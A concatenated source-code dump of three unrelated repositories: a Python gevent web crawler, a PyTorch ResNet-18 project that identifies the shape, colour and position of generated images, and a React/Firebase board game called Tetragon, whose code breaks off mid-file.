from __future__ import unicode_literals
import urlparse
valid_scheme = lambda scheme: scheme in ["http", "https"]
def should_save_html(url, needed):
return bool(needed.match(urlparse.urlparse(url).path))
def should_download_link(link, crawl_only, needed, in_crawled_urls):
r"""
>>> import re
>>> r = lambda regex: re.compile(regex)
>>> should_download_link('http://example.org/test', r('/test'), r('asdfasfd'), lambda _: False)
True
>>> should_download_link('http://example.org/d/test', r('/d/test'), r('asdfasfd'), lambda _: False)
True
"""
if link is None:
return False
else:
link_parts = urlparse.urlparse(link)
link = link_parts.scheme + "://" + link_parts.netloc + link_parts.path
matching = bool(crawl_only.match(link_parts.path) or needed.match(link_parts.path))
return matching and valid_scheme(link_parts.scheme) and not in_crawled_urls(link)
def fix_link(link, url):
"""
>>> fix_link('/yo', 'http://test.com')
u'http://test.com/yo'
>>> fix_link('yo', 'http://test.com/ext/ext.html')
u'http://test.com/ext/yo'
>>> fix_link('yo', 'http://test.com/cool.html')
u'http://test.com/yo'
>>> fix_link('yo#test', 'http://test.com/cool.html')
u'http://test.com/yo'
>>> fix_link('yo?where=4#test', 'http://test.com/cool.html')
u'http://test.com/yo?where=4'
>>> fix_link('yoܩ', 'http://example.com') == u'http://example.com/yoܩ'
True
"""
fixed_url = urlparse.urljoin(url, link)
parsed_url = urlparse.urlparse(fixed_url)
if parsed_url.query:
parsed_url = parsed_url._replace(query=u'?'+parsed_url.query)
combined_url = u"{scheme}://{netloc}{path}{query}".format(**parsed_url._asdict())
return combined_url
<file_sep>/grab/crawler.py
#!python
import re
from time import time
import bs4
from gevent import sleep, monkey, queue
from gevent import pool as gevent_pool
from common import event
from link_util import should_download_link, fix_link, should_save_html
monkey.patch_all()
import urllib2
# Config
max_depth_to_parse = 2
website_sleep_time = 10
test_html = {'404': "<html>\n</html>"}
# Setup
pool = gevent_pool.Pool(20000)
events_retrieved = queue.Queue()
website_lasthit_time = {}
crawled_urls = {}
parse = lambda html: bs4.BeautifulSoup(html, "html5lib")
def add_crawled_urls(site_name, url):
crawled_urls.setdefault(site_name, []).append(url)
in_crawled_urls = lambda site_name, url: url in crawled_urls.get(site_name, [])
def run_steps(steps, site_name, site_info):
"""
>>> run_steps('print "hey"', 'yo', {})
hey
"""
get = lambda url: download_rate_limited(site_name, url, test=False)
def scrape(url, **overrides):
new_site_info = site_info.copy()
new_site_info.update({
'baseurl': url,
'overrides': overrides,
'steps': ''
})
prepare(new_site_info)
exec steps in globals(), {'get': get, 'parse': parse, 'scrape': scrape}
def prepare(site_info, test=False):
site_name = site_info.get('name', '*')
steps = site_info.get('steps', '')
if steps:
run_steps(steps, site_name, site_info)
else:
crawl_only = re.compile(site_info['urlnosaveregex'])
needed = re.compile(site_info['urlregex'])
url = site_info['baseurl']
crawl(url=url,
site_info=site_info,
site_name=site_name,
crawl_only=crawl_only,
needed=needed,
depth=0,
test=test)
def crawl(url, site_info, site_name, crawl_only, needed, depth, test=False):
r"""
>>> import re
>>> from collections import namedtuple
>>> e = namedtuple('event', 'html url site_info sources')("", "", {}, [])
>>> crawl('http://example.org/', {'d':1, 'name': 'test'}, 'test', re.compile("0^"), re.compile(".+"), 0, True)
>>> [(t.url, t.html) for t in get_items()]
[('http://example.org/', '<html>\n</html>')]
"""
if depth > max_depth_to_parse:
return
html = download_rate_limited(site_name, url, test)
if html is None:
return
if should_save_html(url, needed):
add_event(url=url, site_info=site_info, html=html, sources=[site_name])
add_crawled_urls(site_name, url)
soup = parse(html)
# Find urls on page and elect them for processing
for link in get_links(url, soup):
if should_download_link(link, crawl_only, needed, lambda url: in_crawled_urls(site_name, url)):
add_link(url=link,
site_info=site_info,
site_name=site_name,
crawl_only=crawl_only,
needed=needed,
depth=depth + 1,
test=test)
def get_links(url, soup):
for tag in soup.find_all('a'):
yield fix_link(tag.get('href'), url)
def download_rate_limited(site_name, url, test):
return limit_rate(site_name, website_sleep_time, lambda: download(url, test=test))
def download(url, retries=0, test=False):
if test:
return test_html.get(url, test_html.get('404', None))
try:
response = urllib2.urlopen(url)
print url
return response.read()
except Exception as e:
if retries < 1:
return download(url, retries + 1)
print '`'
def limit_rate(name, min_time, func):
""" Prevent flooding by limiting func
>>> sleep_time = 0.2
>>> _ = limit_rate('yo', sleep_time, lambda: time())
>>> before = time()
>>> after = limit_rate('yo', sleep_time, lambda: time())
>>> (sleep_time - (after - before)) < (sleep_time / 2.0) # Close enough
True
"""
time_since_last_func = lambda: time() - website_lasthit_time.get(name, 0)
while time_since_last_func() < min_time:
sleep(in_range(min_time - time_since_last_func(), website_sleep_time, 0))
website_lasthit_time[name] = time()
return func()
def in_range(num, high, low):
"""
>>> i = in_range
>>> [i(10, 5, 0), i(-5, 10, 0), i(3, 5, 0)]
[5, 0, 3]
"""
return min(max(num, low), high)
# Async Functions
def add_site(site, test=False):
pool.spawn(prepare, site, test)
add_link = lambda *args, **kwargs: pool.spawn(crawl, *args, **kwargs)
add_event = lambda **kwargs: events_retrieved.put(event(**kwargs))
def get_items():
while True:
events_retrieved.put(StopIteration)
for item in events_retrieved:
yield item
pool.join(1)
if len(pool) == 0:
break
| 342038e430477e41c36172dc1533c5fc3c371b7e | [
"Python",
"Text"
] | 29 | Python | pombredanne/eventizer-1 | 842524c825ce99e08e2cd41d93ed6e8d39b2fb8f | e0c491f034637b0f600a574c6bec757c6e1528a2 |
refs/heads/master | <repo_name>m-simsek/nn_image_identification<file_sep>/README.md
<h1>Image identification with a convolutional neural network</h1>
developed by <NAME> @ University Reutlingen
The aim of this project is to find the color, shape and x/y-coordinates of images with a convolutional neural network.
The data for train and test was generated by an own image generator using scikit-image (see image_generator folder).
Used Data includes 6.000 training images and 3.000 test images.
Image properties:
image size: 128x128
shapes: triangle, window, hook
color: red, green, blue
Following parameters were used for the CNN:
learning rate: 0.001, momentum:0.9 (SGD optimizer)
number of epochs: 20
batch size: 16
Achieved results:
Coordinate deviation:
mean error: x: 0.14 / y: 1.01
standard error: x: 0.11 / y: 0.94
accuracy of colour: 100%
accuracy of shape: 100%
avg. loss: 0.0023
**Before execution, unpack the images from training_images and testing_images folders or generate new images using the image generator and copy them to the folders.**
This prototyp was developed as an container-based application to minimize the influence of the application to the execution environment and its operating system. Use the following commands to execute the docker-based application:
build image
docker build --rm -f Dockerfile -t nn_image_identification .
run container --> automatically starting script (main.py)
docker run --rm -it -p 0.0.0.0:6006:6006 nn_image_identification
<file_sep>/loss.py
from torch import nn
class AverageMeter(object):
# Computes and stores the average and current value
def __init__(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
def update(self, val, n=1):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count
# loss function for shape, color, coordinates (x,y)
class Loss(nn.Module):
def __init__(self):
super(Loss, self).__init__()
self.shape_c = nn.CrossEntropyLoss()
self.color_c = nn.CrossEntropyLoss()
self.coord_c = nn.SmoothL1Loss()
def forward(self, pred, target):
pshape, pcolor, pcoord = pred
tshape, tcolor, tcoord = target
shape_loss = self.shape_c(pshape, tshape)
color_loss = self.color_c(pcolor, tcolor)
coord_loss = self.coord_c(pcoord, tcoord)
loss = shape_loss + color_loss + coord_loss
loss_dict = {'shape': shape_loss, 'color': color_loss, 'coord': coord_loss}
return loss, loss_dict
<file_sep>/model.py
import torch
from torch import nn
from torchvision.models import resnet18
# Neural Network Model (ResNet-18 - convolutional nn with 18 layers)
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.resnet = resnet18(pretrained=True)
self.fc_shape = nn.Linear(512, 3)
self.fc_color = nn.Linear(512, 3)
self.fc_coord = nn.Sequential(
nn.Linear(512, 512),
nn.Linear(512, 512),
nn.Linear(512, 2)
)
def forward(self, x):
x = self.resnet.conv1(x)
x = self.resnet.bn1(x)
x = self.resnet.relu(x)
x = self.resnet.maxpool(x)
x = self.resnet.layer1(x)
x = self.resnet.layer2(x)
x = self.resnet.layer3(x)
x = self.resnet.layer4(x)
x = self.resnet.avgpool(x)
x = torch.flatten(x, 1)
shape = self.fc_shape(x)
color = self.fc_color(x)
coord = self.fc_coord(x)
return shape, color, coord
if __name__ == '__main__':
net = Net()
inp = torch.rand(1,3,128,128)
output = net(inp)
for o in output:
print(o.shape)<file_sep>/dataset.py
import os
import torch
import numpy as np
from PIL import Image
from torch.utils.data import Dataset
import torchvision.transforms as transforms
import matplotlib.pyplot as plt
from random import shuffle
shape2label = {'triangle':0, 'windows':1, 'hook':2}
color2label = {'red':0, 'green':1, 'blue':2}
label2shape = {0:'triangle', 1:'windows', 2:'hook'}
label2color = {0:'red', 1:'green', 2:'blue'}
# saving sample outputs (images)
def imshow(img, idx):
os.makedirs('sample_outputs', exist_ok=True)
img = img / 2 + 0.5
npimg = img.cpu().numpy()
img = np.transpose(npimg, (1, 2, 0))
plt.gca().xaxis.tick_top()
plt.imshow(img)
plt.savefig(f'sample_outputs/sample_output_{idx:06d}.png')
class Data(Dataset):
def __init__(self,
is_train,
transform = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)),
])):
fname = 'train_result.csv' if is_train else 'test_result.csv'
self.transform = transform
self.is_train = is_train
with open(fname, 'r') as f:
self.data = [l.rstrip().split(',') for l in f.readlines()[1:]]
def __len__(self):
return len(self.data)
def __getitem__(self, item):
d = self.data[item]
if self.is_train:
fname = d[0]
img = Image.open(fname)
else:
fname = os.path.join('testing_images', d[0])
img = Image.open(fname)
img = self.transform(img)
shape = shape2label[d[1]]
color = color2label[d[4]]
x = float(d[3])
if shape == 0:
x -= 7
y, x = float(d[2]) / 128, x / 128
coords = torch.as_tensor([y, x]).float()
return img, shape, color, coords, fname
if __name__ == '__main__':
ds = Data(is_train=True)
dl = torch.utils.data.DataLoader(ds, batch_size=1, shuffle=True, num_workers=1)
for img, shape, color, coord, _ in dl:
plt.title(f'shape: {shape.item()}, '
f'color {color.item()}, '
f'x {coord[0][1] * 128}, '
f'y {coord[0][0] * 128}')
imshow(img[0], idx=0)
<file_sep>/image_generator/image_generator.py
import os
import numpy as np
import matplotlib.pyplot as plt
import skimage.draw as draw
import random
import skimage.io as io
# color_palette, image size, filename for generated files
color_palette = {'red':[255,0,0], 'green':[0,255,0], 'blue':[0,0,255]}
img_width, img_height = 128, 128
filename = 'train_result.csv'
# function for writing to file
def write_to_file(text, file):
with open(file, 'a') as f:
f.write(f'{text}\n')
# define triangle ("logo")
def triangle(idx, s, c, case, save=False):
image = np.ones((img_width,img_height,3), dtype=np.uint8) * 255
color = color_palette[c]
Y = np.random.normal(loc=64, scale=8, size=None)
Y = np.round(Y).astype(np.int)
X = np.random.normal(loc=64, scale=8, size=None)
X = np.round(X).astype(np.int)
if case == 0:
s = (Y, X)
elif case == 1:
s = (random.randint(0, img_height-8), random.randint(0, img_height-13))
print(s)
r = np.array([s[0], s[0]+7, s[0]])
col = np.array([s[1]-6.5, s[1], s[1]+6.5])
rr, cc = draw.polygon(r,col)
image[rr, cc] = color
# random 10 point/noises
for k in range(10):
image[random.randint(0, img_height-1), random.randint(0, img_width-1)] = [0,0,0]
if save:
fname = f'training_images/triangle_{c}_{idx:04d}.bmp'
io.imsave(fname, image)
write_to_file(f'{fname},triangle,{s[0]},{s[1]},{c}', filename)
else:
plt.imshow(image)
plt.show()
# define hook ("logo")
def hook(idx, start, c, case, save=False):
image = np.ones((img_width,img_height,3), dtype=np.uint8) * 255
color = color_palette[c]
Y = np.random.normal(loc=88, scale=8, size=None)
Y = np.round(Y).astype(np.int)
X = np.random.normal(loc=88, scale=8, size=None)
X = np.round(X).astype(np.int)
if case == 0:
start = (Y, X)
elif case == 1:
start = (random.randint(12, start-12), random.randint(12, start-12))
end = (start[0]+3, start[1]+3)
s,e = start, end
rr, cc = draw.line(start[0], start[1], end[0], end[1])
image[rr, cc] = color
image[rr-1, cc] = color
print(start, end)
start = end
end = (start[0]-8, start[1]+8)
rr, cc = draw.line(start[0], start[1], end[0], end[1])
image[rr, cc] = color
image[rr, cc-1] = color
# random 10 point/noises
for k in range(10):
image[random.randint(0, img_height-1), random.randint(0, img_width-1)] = [0,0,0]
if save:
fname = f'training_images/hook_{c}_{idx:04d}.bmp'
io.imsave(fname, image)
write_to_file(f'{fname},hook,{s[0]},{s[1]},{c}', filename)
else:
plt.imshow(image)
plt.show()
# define window ("logo")
def window(width, height, idx, start, c, case, save=False):
image = np.ones((img_width,img_height,3), dtype=np.uint8) * 255
h,w = 1, 1
color = color_palette[c]
Y = np.random.normal(loc=40, scale=8, size=None)
Y = np.round(Y).astype(np.int)
X = np.random.normal(loc=40, scale=8, size=None)
X = np.round(X).astype(np.int)
# big square
if case == 0:
start = (Y, X)
elif case == 1:
start = (random.randint(0, start-height), random.randint(0, start-height))
end = (start[0]+height, start[1]+width)
rr, cc = draw.rectangle(start, end=end, shape=image.shape[:2])
image[rr, cc] = color
# small squares (white)
# upper left
s = (start[0]+1, start[1]+1)
e = (s[0]+h, s[1]+w)
rr, cc = draw.rectangle(s, end=e, shape=image.shape[:2])
image[rr, cc] = [255,255,255]
# lower left
s = (start[0]+4, start[1]+1)
e = (s[0]+h, s[1]+w)
rr, cc = draw.rectangle(s, end=e, shape=image.shape[:2])
image[rr, cc] = [255,255,255]
# upper right
s = (start[0]+1, start[1]+4)
e = (s[0]+h, s[1]+w)
rr, cc = draw.rectangle(s, end=e, shape=image.shape[:2])
image[rr, cc] = [255,255,255]
# lower right
s = (start[0]+4, start[1]+4)
e = (s[0]+h, s[1]+w)
rr, cc = draw.rectangle(s, end=e, shape=image.shape[:2])
image[rr, cc] = [255,255,255]
# random 10 point/noises
for k in range(10):
image[random.randint(0, img_height-1), random.randint(0, img_width-1)] = [0,0,0]
print(idx)
print('start:', start, 'end:', end)
print(image.shape, image.dtype)
print('hello world')
if save:
fname = f'training_images/windows_{c}_{idx:04d}.bmp'
io.imsave(fname, image)
write_to_file(f'{fname},windows,{start[0]},{start[1]},{c}', filename)
else:
plt.imshow(image)
plt.show()
# draw triangle function
def draw_triangle():
save = True
n = [300*2,200*2,500*2]
for i in range(3):
c = list(color_palette.keys())[i]
print(c)
for j in range(n[i]):
if j < int(n[i] * 0.9):
triangle(s=27, idx=j, c=c, case=0, save=save)
elif j >= int(n[i] * 0.9):
triangle(s=128, idx=j, c=c, case=1, save=save)
# draw hook function
def draw_hook():
save = True
n = [370*2,350*2,280*2]
for i in range(3):
c = list(color_palette.keys())[i]
print(c)
for j in range(n[i]):
if j < int(n[i] * 0.9):
hook(start=128, idx=j, c=c, case=0, save=save)
elif j >= int(n[i] * 0.9):
hook(start=128, idx=j, c=c, case=1, save=save)
# draw window function
def draw_windows():
save = True
n = [400*2,350*2,250*2]
for i in range(3):
c = list(color_palette.keys())[i]
print(c)
for j in range(n[i]):
if j < int(n[i] * 0.9):
window(width=6,height=6, start=42, idx=j, c=c, case=0, save=save)
elif j >= int(n[i] * 0.9):
window(width=6,height=6, start=128, idx=j, c=c, case=1, save=save)
if __name__=='__main__':
import os
os.makedirs('training_images', exist_ok=True)
write_to_file(text='filename,logo-name,y,x,color', file=filename)
draw_triangle()
draw_hook()
draw_windows()
<file_sep>/main.py
import os
import torch
import numpy as np
import pandas as pd
import torch.optim as optim
from progress.bar import Bar
import matplotlib.pyplot as plt
from model import Net
from loss import Loss, AverageMeter
from dataset import Data, imshow, label2color, label2shape
# trained model path
MODEL_PATH = 'model.pth.tar'
# function for writing to file
def write_to_file(text, file):
with open(file, 'a') as f:
f.write(f'{text}\n')
# saving plots of "loss"
def save_plots(plot_dict):
os.makedirs('plots', exist_ok=True)
for k,v in plot_dict.items():
plt.title(f'Training plot for \"{k}\" loss')
plt.plot(v)
plt.savefig(f'plots/{k}_loss_plot.png')
# plt.show()
plt.cla()
# Training of NN
def train():
# parameters for NN-training
end_epoch = 20
batch_size = 16
n_workers = 8
# use gpu (if available) otherwise cpu
device = 'cuda' if torch.cuda.is_available() else 'cpu'
print('Creating Model')
# copy the NN-model to GPU/CPU
net = Net().to(device)
# load dataset
train_ds = Data(is_train=True)
#read the data and put into memory
train_dl = torch.utils.data.DataLoader(train_ds, batch_size=batch_size, shuffle=True, num_workers=n_workers)
optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)
criterion = Loss()
plot_dict = {
'total': [],
'shape': [],
'color': [],
'coord': [],
}
print('Started Training')
for epoch in range(end_epoch):
losses = AverageMeter()
bar = Bar(f'Epoch {epoch + 1}/{end_epoch}', fill='#', max=len(train_dl))
for i, data in enumerate(train_dl, 0):
img, shape, color, coords, _ = data
img = img.to(device)
shape = shape.to(device)
color = color.to(device)
coords = coords.to(device)
optimizer.zero_grad()
outputs = net(img)
labels = [shape, color, coords]
loss, loss_dict = criterion(outputs, labels)
losses.update(loss.item(), img.size(0))
loss.backward()
optimizer.step()
plot_dict['total'].append(loss.item())
for k, v in loss_dict.items():
plot_dict[k].append(v.item())
summary_string = f'({i + 1}/{len(train_dl)}) | Total: {bar.elapsed_td} | ' \
f'ETA: {bar.eta_td:} | loss: {losses.avg:.4f}'
for k, v in loss_dict.items():
summary_string += f' | {k}: {v:.4f}'
bar.suffix = summary_string
bar.next()
bar.finish()
print('Finished Training')
print(f'loss_avg: {losses.avg:.4f}')
print('Saving model')
save_plots(plot_dict)
torch.save(net.state_dict(), MODEL_PATH)
# Testing of NN
def test():
test_ds = Data(is_train=False)
test_dl = torch.utils.data.DataLoader(test_ds, batch_size=1, shuffle=True, num_workers=1)
print('Creating Model')
net = Net()
net.load_state_dict(torch.load(MODEL_PATH, map_location='cpu'))
# use gpu (if available) otherwise cpu
device = 'cuda' if torch.cuda.is_available() else 'cpu'
net = net.to(device).eval()
result_filename = 'predicted_test_result.csv'
write_to_file(text='filename,logo-name,x,y,color', file=result_filename)
color_acc, shape_acc, coord_err = [], [], []
print('Started Testing')
with torch.no_grad():
bar = Bar(f'Test', fill='#', max=len(test_dl))
for i, data in enumerate(test_dl, 0):
img, shape, color, coord, fname = data
img = img.to(device)
shape = shape.to(device)
color = color.to(device)
coord = coord.to(device) * 128
output = net(img)
pshape, pcolor, pcoord = output
_, pshape = torch.max(pshape, 1)
_, pcolor = torch.max(pcolor, 1)
pcoord *= 128
img = img[0]
pshape, pcolor, pcoord = pshape[0], pcolor[0], pcoord[0]
tshape, tcolor, tcoord = shape[0], color[0], coord[0]
pcoord = pcoord.cpu().numpy()
tcoord = tcoord.cpu().numpy()
pshape, tshape = label2shape[int(pshape)], label2shape[int(tshape)]
pcolor, tcolor = label2color[int(pcolor)], label2color[int(tcolor)]
color_acc.append(pcolor == tcolor)
shape_acc.append(pshape == tshape)
coord_err.append(np.absolute(pcoord - tcoord))
# title for sample images
title = f'Predicted shape: {pshape}, color: {pcolor}, ' \
f'coord: ({int(pcoord[1].round())}/{int(pcoord[0].round())})\n'
title += f'True shape: {tshape}, color: {tcolor}, ' \
f'coord: ({int(tcoord[1])}/{int(tcoord[0])})'
# print 20 sample images
if i < 20:
plt.title(title, y=1.05)
imshow(img, idx=i)
## code for writing to csv and than to xlsx
fname = fname[0]
write_to_file(f'{fname},'
f'{pshape},'
f'{int(pcoord[1].round())},'
f'{int(pcoord[0].round())},'
f'{pcolor}',
result_filename)
summary_string = f'Total: {bar.elapsed_td} | ETA: {bar.eta_td:}'
bar.suffix = summary_string
bar.next()
bar.finish()
read_file = pd.read_csv(result_filename)
read_file.to_excel('predicted_test_result.xlsx', index = None, header=True)
# mean error (x,y)
coord_err = np.array(coord_err)
mean_error_y = coord_err[0].mean()
mean_error_x = coord_err[1].mean()
# std error (x,y)
std_error_y = coord_err[0].std()
std_error_x = coord_err[1].std()
print(f'Mean pixel error x: {mean_error_x:.4f}, y: {mean_error_y:.4f}')
print(f'Std of error x: {std_error_x:.4f}, y: {std_error_y:.4f}')
# color accuracy
color_acc = np.array(color_acc)
color_acc = (color_acc.sum() / color_acc.shape[0]) * 100
print(f'Color accuracy: {color_acc:.4f}')
# shape accuracy
shape_acc = np.array(shape_acc)
shape_acc = (shape_acc.sum() / shape_acc.shape[0]) * 100
print(f'Shape accuracy: {shape_acc:.4f}')
if __name__ == '__main__':
train()
test()
<file_sep>/Dockerfile
FROM python:3
RUN pip install --upgrade pip && \
pip install matplotlib && \
pip install numpy && \
pip install scikit-image && \
pip install torch && \
pip install pandas && \
pip install progress && \
pip install torchvision && \
pip install Pillow==6.0 && \
pip install XlsxWriter
WORKDIR '/nn_image_identification'
ADD . /nn_image_identification
CMD [ "python", "/nn_image_identification/main.py" ]
LABEL maintainer="m.simsek"
| c7dbc10583b35ef4fd852d7fd93a077a8ce43c44 | [
"Markdown",
"Python",
"Dockerfile"
] | 7 | Markdown | m-simsek/nn_image_identification | d85a206c520fe8d4990402bb75e4625661847bb1 | bca67a817ba51a6344c1fc5970260c49161ab196 |
refs/heads/master | <repo_name>josephwilliams/tetragon_firebase<file_sep>/components/splash/start_splash.jsx
import React from 'react';
class StartSplash extends React.Component {
constructor () {
super();
}
linkTo (address) {
this.context.router.push(address);
}
render () {
return (
<div className="start-splash-container">
<div className="auth-option"
onClick={() => this.props.toggleOnlineConfigs()}>
play online
</div>
<div className="auth-option"
onClick={() => this.linkTo("two_player_game")}>
multiplayer local
</div>
<div className="start-option-soon">
play an AI
</div>
</div>
);
}
}
StartSplash.contextTypes = {
router: React.PropTypes.object.isRequired
}
export default StartSplash;
<file_sep>/components/splash/splash.jsx
import React from 'react';
import StartSplash from './start_splash';
import AuthSplash from './auth_splash';
import OnlineConfigs from './online_configs';
import FirebaseConfig from '../../js/firebase_config';
const hashHistory = require('react-router').hashHistory;
var firebase = require('firebase/app');
require('firebase/auth');
require('firebase/database');
export default class Splash extends React.Component {
constructor () {
super();
this.state = {
configsContainerClass: "online-config-container-hide",
onlineConfigLog: []
};
this.toggleOnlineConfigs = this.toggleOnlineConfigs.bind(this);
}
toggleOnlineConfigs () {
let klass = this.state.configsContainerClass === "online-config-container-hide" ? "online-config-container-show" : "online-config-container-hide";
this.setState({ configsContainerClass: klass });
this.initiateOnline();
}
linkToGame () {
hashHistory.push('online_game');
}
initiateOnline () {
let user = firebase.auth().currentUser;
let config = new FirebaseConfig(user, this.linkToGame.bind(this));
console.log("config", config);
console.log("config log", config.log);
this.setState({ onlineConfigLog: config.log });
}
render () {
return (
<div className="splash-container">
<div className="top">
<div className="header-container">
<h1>TETRAGON</h1>
</div>
</div>
<div className="bottom">
<div className="bottom-top">
<StartSplash
toggleOnlineConfigs={this.toggleOnlineConfigs}
/>
<OnlineConfigs
configsContainerClass={this.state.configsContainerClass}
configLogs={this.state.onlineConfigLog}
/>
</div>
<AuthSplash />
</div>
</div>
);
}
}
<file_sep>/components/game/game_comp.jsx
import React from 'react';
import Board from '../../js/board';
import BoardComponent from './board_comp';
export default class Game extends React.Component {
constructor (props) {
super(props);
this.state = { board: new Board };
this.updateBoard = this.updateBoard.bind(this);
this.restart = this.restart.bind(this);
}
updateBoard (coords) {
var board = this.state.board;
var y = coords[0];
var x = coords[1];
board.scoreboard();
if (board.currentMove === 1){
board.considerFirstMove(coords);
this.setState({ board: board });
} else if (board.currentMove === 2){
board.considerSecondMove(coords);
this.setState({ board: board });
}
this.setState({ board: board });
}
restart () {
this.setState({ board: new Board });
}
render () {
return (
<div className="game-container">
<BoardComponent
board={this.state.board}
updateBoard={this.updateBoard}
restart={this.restart}
/>
</div>
)
}
}
<file_sep>/components/game/scoreboard_comp.jsx
import React from 'react';
export default class ScoreBoard extends React.Component {
constructor(props){
super(props);
}
render () {
return (
<div className="scoreboard-container">
<div className="top">
<div className="score-container">
<div style={{textShadow: "rgb(255, 7, 7) 0px 0px 5px"}}>
red:
</div>
{this.props.redCount}
</div>
<div className="score-container">
<div style={{textShadow: "rgb(7, 226, 255) 0px 0px 5px"}}>
blue:
</div>
{this.props.blueCount}
</div>
</div>
<div className="bottom">
{this.props.message}
</div>
</div>
)
}
}
<file_sep>/js/board.js
import Player from './player';
import GridShapes from './grid_shapes';
export default class Board {
constructor (player1 = new Player('player 1', 1, 'Red'), player2 = new Player('player 2', 2, 'Blue')) {
this.grid = [];
this.player1 = player1;
this.player2 = player2;
this.currentPlayer = this.player1;
this.currentMove = 1;
this.firstSelect = null;
this.gameState = true;
this.gameBegun = false;
this.winner = null;
this.message = "Begin! Red moves first.";
this.redCount = 2;
this.blueCount = 2;
this.deltas = [[0,1],[0,-1],[1,0],[1,1],[1,-1],[-1,0],[-1,1],[-1,-1]];
this.moveDeltas = [[0,1],[0,-1],[1,0],[1,1],[1,-1],[-1,0],[-1,1],[-1,-1],
[-1,2],[0,2],[1,2],[2,2],[2,-1],[2,0],[2,1],[1,2],[-2,1],
[-2,-2],[-2,-1],[-2,0],[-1,-2],[0,-2],[1,-2],[2,-2],[-2,2]];
this.recentlyAssessed = [];
this.populateGrid();
}
populateGrid () {
// randomly selects number between 1-3
var gridKey = Math.floor(Math.random() * (4 - 1)) + 1;
let randGrid = GridShapes[gridKey];
// creates shallow dup of the GridShapes grid for use as this.grid
let clonedGrid = randGrid.map(arr => arr.slice());
this.grid = clonedGrid;
}
persistGame () {
this.scoreboard();
this.switchPlayers();
if (!this.anyAvailableMove()){
this.fillRestofBoard();
this.scoreboard();
this.endGame();
}
}
anyAvailableMove () {
var nonCurrentNum = this.currentPlayer === this.player1 ? 2 : 1;
var currentNum = this.currentPlayer.num;
var liveTiles = 0;
this.grid.forEach((arr, idx1) => {
arr.forEach((tile, idx2) => {
var gridTile = this.grid[idx1][idx2];
if (gridTile === currentNum) {
var availableMove = false;
this.moveDeltas.forEach(delta => {
let y = delta[0] + idx1;
let x = delta[1] + idx2;
if (this.grid[y] !== undefined && this.grid[y][x] === false ||
this.grid[y] !== undefined && this.grid[y][x] === true){
availableMove = true;
}
});
if (availableMove){
liveTiles++;
}
}
});
});
let anyAvailable = liveTiles > 0 ? true : false;
return anyAvailable;
}
fillRestofBoard () {
var nonCurrentNum = this.currentPlayer === this.player1 ? 2 : 1;
this.grid.map((arr, idx1) => {
arr.map((tile, idx2) => {
var gridTile = this.grid[idx1][idx2];
if (this.grid[idx1][idx2] === false)
this.grid[idx1][idx2] = nonCurrentNum;
});
});
}
// #considerMove considers this.currentMove (1 or 2);
// if #goodfirstSelect calls #updateGridFirstSelect;
// if #goodSecondSelect via #logicalSecondSelect
// calls #updateGridSecondSelect; #resolveBoard; then #switchPlayers;
// this.gameState determined by #isOver;
// #endGame otherwise;
considerFirstMove (coords) {
if (this.currentMove === 1){
if (this.goodFirstSelect(coords)){
this.message = "good selection.";
this.currentMove = 2;
return this.updateGridFirstSelect(coords);
} else {
this.message = "invalid selection.";
return this.restartTurn();
}
}
}
considerSecondMove (coords) {
this.resolveBoard();
if (this.currentMove === 2) {
var selectionData = this.goodSecondSelect(coords);
// [0] will be true/false; [1] will be "jump"/"slide"
if (selectionData[0]){
this.message = "valid move!";
var nextPlayer = (this.currentPlayer === this.player1) ? this.player2 : this.player1;
if (selectionData[1] === "jump"){
this.message = "jump! " + " " + nextPlayer.color + "'s turn.";
this.currentMove = 1;
return this.updateGridSecondSelectJump(coords);
} else if (selectionData[1] === "slide"){
this.message = "slide!" + " " + nextPlayer.color + "'s turn.";
this.currentMove = 1;
return this.updateGridSecondSelectSlide(coords);
}
} else {
this.message = "invalid selection.";
return this.restartTurn();
}
}
}
goodFirstSelect (coords) {
var x = coords[1];
var y = coords[0];
if (this.currentPlayer === this.player1){
if (this.grid[y][x] !== 1) {
return false;
}
} else if (this.currentPlayer === this.player2){
if (this.grid[y][x] !== 2) {
return false;
}
}
this.firstSelect = [y, x];
return true;
}
goodSecondSelect (coords) {
var x = coords[1];
var y = coords[0];
if(this.grid[y][x] !== false)
return false;
var selectionData = this.logicalSecondSelect(coords);
if (selectionData[0]){
if (selectionData[1] === "jump"){
return [true, "jump"];
} else if (selectionData[1] === "slide"){
return [true, "slide"];
}
} else {
return false;
}
}
logicalSecondSelect (coords) {
var y1 = this.firstSelect[0];
var x1 = this.firstSelect[1];
var y2 = coords[0];
var x2 = coords[1];
if (this.between(x1, (x2 + 1), (x2 - 1)) && this.between(y1, (y2 + 1), (y2 - 1))) {
return [true, "slide"];
} else if (this.between(x1, (x2 + 2), (x2 - 2)) && this.between(y1, (y2 + 2), (y2 - 2))) {
return [true, "jump"];
} else {
return false;
}
}
between(a, x, y) {
return a <= x && a >= y;
}
updateGridFirstSelect (coords) {
var x = coords[1];
var y = coords[0];
this.recentlyAssessed = [];
// make available spots glow;
this.moveDeltas.forEach(delta => {
let tempX = delta[1] + x;
let tempY = delta[0] + y;
if (this.grid[tempY] == null || this.grid[tempY][tempX] == null) {
return;
} else if (this.grid[tempY][tempX] === false) {
this.grid[tempY][tempX] = true;
this.recentlyAssessed.push([tempY, tempX]);
}
});
}
resolveBoard () {
this.grid.forEach((arr, y) => {
arr.map((tile, x) => {
if (this.grid[y][x] === true){
this.grid[y][x] = false;
}
});
});
}
updateGridSecondSelectJump (coords) {
var x = coords[1];
var y = coords[0];
this.grid[y][x] = this.currentPlayer.num;
var x1 = this.firstSelect[1];
var y1 = this.firstSelect[0];
this.grid[y1][x1] = false;
this.assessOffensiveMove(coords);
this.persistGame();
}
updateGridSecondSelectSlide (coords) {
var x = coords[1];
var y = coords[0];
this.grid[y][x] = this.currentPlayer.num;
this.assessOffensiveMove(coords);
this.persistGame();
}
assessOffensiveMove (coords) {
// game begins when first good move is made
// 'randomize' feature disappears
this.gameBegun = true;
var x = coords[1];
var y = coords[0];
// change gem colors / offensive move
this.deltas.forEach(delta => {
let tempX = delta[1] + x;
let tempY = delta[0] + y;
var otherPlayer = this.currentPlayer === this.player1 ? this.player2 : this.player1;
if (this.grid[tempY] == null) {
return;
} else if (this.grid[tempY][tempX] === otherPlayer.num) {
this.grid[tempY][tempX] = this.currentPlayer.num;
}
